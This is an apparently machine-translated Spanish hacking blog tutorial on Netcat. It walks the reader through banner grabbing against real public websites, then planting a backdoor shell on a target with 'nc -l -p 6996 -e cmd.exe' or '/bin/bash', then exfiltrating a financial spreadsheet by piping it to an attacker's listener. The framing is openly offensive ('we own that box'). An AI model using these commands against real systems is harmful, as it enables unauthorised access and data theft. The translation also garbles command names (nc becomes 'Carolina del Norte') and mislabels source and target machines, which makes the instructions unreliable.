BlogHack Like a Pro

Hackear como un profesional Cómo usar Netcat, la navaja suiza de herramientas de piratería

Durante más de 20 años, los piratas informáticos han utilizado una herramienta pequeña pero poderosa para una amplia gama de actividades. Aunque es muy conocido en los círculos de piratería, Netcat es prácticamente desconocido en el exterior. Es tan simple, poderoso y útil que muchas personas dentro de la comunidad de TI se refieren a él como la “navaja suiza de las herramientas de piratería”. Veremos las capacidades de Netcat y cómo el aspirante a pirata informático puede usarlo.

¿Qué es Netcat, realmente?

Netcat, como tantas herramientas de piratas informáticos, se creó para ser una herramienta de análisis de red. Desarrollado en 1995 por un compañero sólo conocido como “Hobbit”, Netcat fue entregado a la comunidad de TI sin compensación, pero ha recibido muchos elogios.

Sin embargo, aunque sigue siendo útil, tiene no se ha mantenido, por lo que Nmap produjo una versión moderna con características más actualizadas. La nueva versión se llama Ncat y, en su mayor parte, tiene los mismos comandos que Netcat para que se puedan usar indistintamente.

Puede usar Netcat o Ncat para abrir conexiones TCP y UDP entre dos máquinas a través de cualquier puerto que desee. Además, estas herramientas se pueden utilizar para escanear puertos, de forma similar a Nmap. Netcat y Ncat se pueden usar para reenvío de puertos, proxy, servidor web simple y también para dejar una puerta trasera abierta para el pirata informático.

Veamos algunas de las capacidades de Netcat usando Kali Linux. Debe instalarse Netcat, pero es posible que Ncat no lo esté. Para instalar cualquiera de los dos, simplemente use uno de los siguientes comandos.

apt-get install netcat

apt-get install ncat

Paso 1: Abra la pantalla de ayuda de Netcat

Una vez que hayamos encendido nuestro sistema Kali Linux y abrimos una terminal, podemos usar Netcat desde cualquier directorio, ya que está ubicado en nuestro directorio bin que está en nuestra variable PATH por defecto. Entonces, escriba nc -h para ver su página de ayuda.

nc -h

[v1.10-41.1]
connect to somewhere:	nc [-options] hostname port[s] [ports] ...
listen for inbound:	nc -l -p port [-options] [hostname] [port]
options:
	-c shell commands	as `-e'; use /bin/sh to exec [dangerous!!]
	-e filename		program to exec after connect [dangerous!!]
	-b			allow broadcasts
	-g gateway		source-routing hop point[s], up to 8
	-G num			source-routing pointer: 4, 8, 12, ...
	-h			this cruft
	-i secs			delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
	-l			listen mode, for inbound connects
	-n			numeric-only IP addresses, no DNS
	-o file			hex dump of traffic
	-p port			local port number
	-r			randomize local and remote ports
	-q secs			quit after EOF on stdin and delay of secs
	-s addr			local source address
	-T tos			set Type Of Service
	-t			answer TELNET negotiation
	-u			UDP mode
	-v			verbose [use twice to be more verbose]
	-w secs			timeout for connects and final net reads
	-C			Send CRLF as line-ending
	-z			zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp-data').

Y esto es para Ncat:

ncat -h

Ncat 7.70 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  -4                         Use IPv4 only
  -6                         Use IPv6 only
  -U, --unixsock             Use Unix domain sockets only
  -C, --crlf                 Use CRLF for EOL sequence
  -c, --sh-exec <command>    Executes the given command via /bin/sh
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns <n>        Maximum <n> simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay <time>         Wait between read/writes
  -o, --output <filename>    Dump session data to a file
  -x, --hex-dump <filename>  Dump session data as hex to a file
  -i, --idle-timeout <time>  Idle read/write timeout
  -p, --source-port port     Specify source port to use
  -s, --source addr          Specify source address to use (doesn't affect -l)
  -l, --listen               Bind and listen for incoming connections
  -k, --keep-open            Accept multiple connections in listen mode
  -n, --nodns                Do not resolve hostnames via DNS
  -t, --telnet               Answer Telnet negotiations
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)
  -w, --wait <time>          Connect timeout
  -z                         Zero-I/O mode, report connection status only
      --append-output        Append rather than clobber specified output files
      --send-only            Only send data, ignoring received; quit on EOF
      --recv-only            Only receive data, never send anything
      --allow                Allow only given hosts to connect to Ncat
      --allowfile            A file of hosts allowed to connect to Ncat
      --deny                 Deny given hosts from connecting to Ncat
      --denyfile             A file of hosts denied from connecting to Ncat
      --broker               Enable Ncat's connection brokering mode
      --chat                 Start a simple Ncat chat server
      --proxy <addr[:port]>  Specify address of host to proxy through
      --proxy-type <type>    Specify proxy type ("http" or "socks4" or "socks5")
      --proxy-auth <auth>    Authenticate with HTTP or SOCKS proxy server
      --ssl                  Connect or listen with SSL
      --ssl-cert             Specify SSL certificate file (PEM) for listening
      --ssl-key              Specify SSL private key (PEM) for listening
      --ssl-verify           Verify trust and domain name of certificates
      --ssl-trustfile        PEM file containing trusted SSL certificates
      --ssl-ciphers          Cipherlist containing SSL ciphers to use
      --ssl-alpn             ALPN protocol list to use.
      --version              Display Ncat's version information and exit

See the ncat(1) manpage for full options, descriptions and usage examples

Paso 2: Obtenga la sintaxis básica hacia abajo

Como puede ver en la pantalla de ayuda anterior, la sintaxis básica de Netcat es la siguiente. (Sustituir Carolina del Norte por ncat si usa Ncat en lugar de Netcat. Solo estaremos usando Carolina del Norte para el resto de esta guía).

Para conectarse a otra máquina:

nc options host-IP-address port

Para escuchar conexiones entrantes:

nc -l -p port

Paso 3: use Netcat para conectarse a un sistema remoto

Sigamos adelante y usemos Netcat para conectarnos a un sistema remoto. En este caso, intentaremos conectarnos a un servidor web en el puerto 80.

nc 192.168.1.105 80

Ese comando nos da una conexión TCP, por defecto, al servidor web (puerto 80) en 192.168.1.105. Ahora, sea lo que sea que escribamos, seremos enviados directamente al servidor web cuando presionemos ingresar.

Paso 4: Utilice Netcat para Banner Grab para la toma de huellas dactilares del SO

Antes de atacar cualquier sistema, necesitamos saber todo lo posible sobre el objetivo. Entonces, una vez que tenemos una conexión TCP a un servidor web, podemos usar Netcat para tomar el banner del servidor web que se sirve a las nuevas conexiones para identificar qué software de servicio web está ejecutando el objetivo.

Se puede capturar un banner en el servidor web con el HEAD / HTTP / 1.0 mando. Tenga cuidado y copie exactamente como está con las barras y los espacios. Alternativamente, si esto no funciona, puede intentar HEAD / HTTP / 1.1 en lugar de.

HEAD / HTTP/1.0

Pegar ingresar unas cuantas veces y el servidor web responderá con su banner indicándonos exactamente qué software está ejecutando. En este caso, podemos ver que el servidor web está ejecutando IIS 7.5 de Microsoft.

HTTP/1.1 200 OK
Content-Length: 998
Content-Type: text/html
Content-Location: http://192.168.1.105/index.html
Last-Modified: Wed, 26 Sep 2018 17:59:41 GMT
Accept-Ranges: bytes
Etag: "e245c46986ecc61:93f"
Server: Microsoft-IIS/7.5
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Sat, 08 Dec 2018 02:14:35 GMT
Conection: close

También podemos utilizar esta técnica en otros sitios web públicos. Probémoslo en algunos sitios ampliamente conocidos y veamos qué software de servidor web están ejecutando.

Primero, probemos este sitio web, wonderhowto.com. Cuando nosotros ping wonderhowto.com, vemos que su dirección IP es 104.193.19.59. Entonces, lo incluimos en el comando, luego, después de obtener una conexión, tomamos el banner del servidor web. Recuerda golpear ingresar dos o tres veces. Como podemos ver, wonderhowto.com está ejecutando su propio servidor WonderHowTo.

nc 104.193.19.59 80
HEAD / HTTP/1.0

HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Length: 141
Content-Type: text/html; charset=utf-8
Expires: -1
Location: https://wonderhowto.com/
Server: WonderHowTo
X-UA-Compatible: IE=Edge,chrome=1
X-Server-Name: APP01
X-Content-Type-Options: nosniff
Date: Sat, 08 Dec 2018 02:19:08 GMT
Connection: keep-alive

Pero eso no parece correcto. Intentemos de nuevo con HEAD / HTTP / 1.1 en lugar de. Como se ve a continuación, recibimos una solicitud incorrecta, pero vemos que aparece Microsoft-HTTPAPI / 2.0, que es una lectura común cuando el servidor real es una versión de Microsoft-IIS.

nc 104.193.19.59 80
HEAD / HTTP/1.1

HTTP/1.1 400 Bad Request
Content-Length: 334
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Sat, 08 Dec 2018 03:04:29 GMT
Connection: close

Si intentamos lo mismo con ebay.com, obtenemos los resultados a continuación. Como puede ver, se ejecuta en un servidor Apache-Coyote.1.1.

nc 66.135.209.52 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: 49c752f2ba437586596f602605cb5820
Last-Modified: Fri, 8 Dec 2018 01:48:47 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 857
Date: Sat, 08 Dec 2018 02:38:44 GMT
Connection: keep-alive

Pruébelo en otros sitios web y descubra qué servidor están ejecutando. Sin embargo, tenga en cuenta que es posible que no funcione para todos los sitios o que no vea la información del servidor.

Paso 5: use Netcat para escuchar las conexiones

Ahora, usemos Netcat para crear un oyente en el sistema remoto. Supongamos que tenemos un servidor Windows en el que hemos instalado Netcat. Ahora podemos escribir lo siguiente para abrir un oyente Netcat en el puerto 6996 (puede ser cualquier puerto) en ese sistema.

nc - l -p 6996

Esto ha creado un “oyente” con el que podemos conectarnos en nuestro tiempo libre.

C:>
C:>
C:>
C:>
C:>
C:>nc -l -p 6996

Tenga en cuenta que en los sistemas Windows, podemos ejecutar este mismo comando con mayúsculas L para crear un oyente persistente que se abrirá incluso si se reinicia el sistema.

Paso 6: crea una puerta trasera

Ahora, creemos una puerta trasera en el sistema de destino a la que podamos volver en cualquier momento. El comando variará ligeramente en función de si estamos atacando un sistema Linux o Windows.

Para Windows, usamos:

nc -l -p 6996 -e cmd.exe

Para Linux, es:

nc -l -p 6996 -e /bin/bash

Esto abrirá un oyente en el sistema que “canalizará” el shell de comandos o el shell bash de Linux al sistema de conexión.

A continuación, en nuestro sistema de ataque, escribimos la siguiente frase. Como puede ver, el símbolo del sistema de Windows se ha canalizado a través de nuestra conexión Netcat directamente a nuestro sistema atacante. ¡Somos dueños de esa caja!

nc 192.168.1.105 6996

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:>

Paso 7: Copie los archivos (exfiltrados) del destino

Netcat también se puede utilizar para extraer archivos y datos del objetivo. Imaginemos que hay datos en el sistema de destino que queremos, tal vez datos financieros o datos almacenados en una base de datos. Podemos usar una conexión sigilosa para copiar lentamente esos datos a nuestro sistema de ataque. En este ejemplo, exfiltraremos un archivo llamado financialprojections.xls, presumiblemente un archivo de Excel con proyecciones financieras.

Desde el sistema fuente, escribimos:

type financialprojections.xls | nc 192.168.1.104 6996

Ese comando dice que se muestre el archivo. financialprojections.xls, luego pipe (|) a Netcat (Carolina del Norte) a la dirección IP 192.168.1.104 a través del puerto 6996.

02/26/2013  05:28 PM     <DIR>          WINDOWS
10/09/2006  03:55 PM     <DIR>          wmpub
               4 Files(s)         59,533 bytes
               8 Dir(s)    4,876,210,176 bytes free

C:>type financialprojections.xls | nc 192.168.1.104 6996

C:>type financialprojections.xls | nc 192.168.1.104 6996

Desde el sistema de destino, escribimos:

nc -l -p 6996 > financialprojections.xls

Ese comando dice crear un oyente (l) en el puerto (pag) 6996, luego envíe los datos recibidos en este oyente a un archivo llamado financialprojections.xls. Podemos ver en el código a continuación, después de usar ls -l, que el archivo se copió a través de nuestra conexión Netcat a través del puerto 6996 a nuestra máquina atacante.

ls -l

total 356
drwxr-xr-x 2 root root   4096 2011-05-07 11:46 Desktop
-rw-r--r-- 1 root root    141 2013-09-18 12:25 financialprojections.xls
-rw-r--r-- 1 root root    192 2013-09-02 13:49 replay_arp-0902-133213.cap
-rw-r--r-- 1 root root      0 2013-09-02 16:08 snortlog
-rw-r--r-- 1 root root 338111 2013-09-02 13:49 WEPcrack-01.cap
-rw-r--r-- 1 root root    575 2013-09-02 13:49 WEPcrack-01.csv
-rw-r--r-- 1 root root    582 2013-09-02 13:49 WEPcrack-01.kismet.csv
-rw-r--r-- 1 root root   3660 2013-09-02 13:49 WEPcrack-01.kismet.netxml

Esto es solo una pequeña muestra de lo que puede hacer este pequeño y poderoso programa. Cuando lo combina con algunas habilidades básicas de programación, solo puede imaginar las cosas increíbles que se pueden lograr.

Foto de portada vía Shutterstock

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar